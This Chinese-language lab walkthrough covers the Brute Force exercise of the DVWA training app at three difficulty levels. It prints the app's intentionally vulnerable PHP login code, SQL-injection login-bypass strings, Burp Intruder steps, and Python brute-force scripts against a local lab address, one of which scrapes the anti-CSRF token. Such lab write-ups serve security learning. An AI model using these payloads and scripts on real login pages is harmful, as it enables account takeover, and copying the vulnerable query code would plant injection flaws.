DVMA - Brute force(暴力破解)
DVMA 中Brute force 暴力破解分有low(低)、medium(中)、high(高)、impossible(难)四个难度级别。可以在DVMA Security 进行切换。
Brute force 的登录页面,默认登录账号:admin,密码:password
服务器端代码:
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
登录失败的信息:
登录成功后的信息:
--low级别:
进行Sql注入
方式一、
Username:admin' or '1'='1
Password: (空)
方式二、
Username: admin' or 1='1
Password: (空)
方式三、
Username: admin';#
Password: (空)
--medium 级别
服务器端代码:
<?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对用户名和密码进行特殊字符转义,防止SQL注入。但是,由于没有验证码校验和错误次数限制,因此,可以通过工具brup suite或脚本形式进行暴力破解。
Brup suite 方式破解:
1、设置电脑代理,方便进行抓包
2、在brup suite 中也配置代理地址和端口信息
3、抓包并找到登录的接口,转到Send to Intruder
4、切换到Intruder 页面,选中密码,并转换成参数形式
5、切换到payloads中,设置猜测的密码值,如果密码值很多可以导入文件形式添加
6、点击【start attract】开始破解
运行完成后的结果信息:
过滤破解结果是否存在登录成功的信息:
说明刚才密码为password的已经登录成功
脚本破解方式:
1 #encoding:utf-8 2 3 import requests 4 import re 5 6 def login(login_url,user,pwd): 7 login_info ={"username":user,"password":pwd,"Login":"Login"} 8 header_info = { 9 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 10 "Cookie": "PHPSESSID=qqms4set4fclv8vnk68ctu9nn5; security=medium", 11 "Accept-Encoding": "gzip, deflate, br", 12 "Accept-Language": "zh-CN,zh;q=0.9" 13 } 14 with requests.get(url=login_url,params=login_info,headers=header_info) as response: 15 success_info = "Welcome to the password protected area" 16 re_result = re.search(success_info,response.text) 17 print(response.request.url) 18 if re_result : 19 if success_info in re_result.group(): 20 print("已登录成功,账号:%s ,密码:%s" %(user,pwd) ) 21 return True 22 23 24 with open(file=r"pwd.txt",mode="r",encoding="utf8") as rFile: 25 for pwd in rFile.readlines(): 26 resutl = login(login_url="http://192.168.52.132/vulnerabilities/brute/",user="admin",pwd=pwd.replace("\n","")) 27 if resutl : 28 break
pwd.txt 猜测的密码文件
脚本运行结果,登录成功后就结束登录,后面的密码就没有必要才进行往下试了。
--high 级别
服务器端代码:
<?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
通过F12查看接口信息,可以看到High在接口上加上了token作为校验,在每次打开登录页面时,先获取后端返回的token。在进行登录时,再带上token一起传回去。以便后端判断当前的登录是否有效。
脚本破解方式:
1 #encoding:utf-8 2 3 import requests 4 import re 5 6 def login(login_url,user,pwd): 7 token = get_token(index_url="http://192.168.52.132/vulnerabilities/brute/") 8 login_info ={"username":user,"password":pwd,"Login":"Login"} 9 login_info["user_token"] = token 10 header_info = { 11 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 12 "Cookie": "PHPSESSID=qqms4set4fclv8vnk68ctu9nn5; security=medium", 13 "Accept-Encoding": "gzip, deflate, br", 14 "Accept-Language": "zh-CN,zh;q=0.9" 15 } 16 with requests.get(url=login_url,params=login_info,headers=header_info) as response: 17 success_info = "Welcome to the password protected area" 18 re_result = re.search(success_info,response.text) 19 print(response.request.url) 20 # print(response.text) 21 if re_result : 22 if success_info in re_result.group(): 23 print("已登录成功,账号:%s ,密码:%s" %(user,pwd) ) 24 return True 25 26 def get_token(index_url): 27 header_info = { 28 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 29 "Accept-Encoding": "gzip, deflate", 30 "Accept-Language": "zh-CN,zh;q=0.9", 31 "Cookie": "PHPSESSID=qrhbed75jn0p8sqm0cl7humv05; security=high" 32 } 33 with requests.get(url=index_url,headers=header_info) as response: 34 # print(response.text) 35 token_re = "name='user_token' value='(.+)?' />" 36 token = re.search(token_re,response.text) 37 return token.groups()[0] 38 39 with open(file=r"pwd.txt",mode="r",encoding="utf8") as rFile: 40 for pwd in rFile.readlines(): 41 resutl = login(login_url="http://192.168.52.132/vulnerabilities/brute/",user="admin",pwd=pwd.replace("\n","")) 42 if resutl : 43 break
运行结果: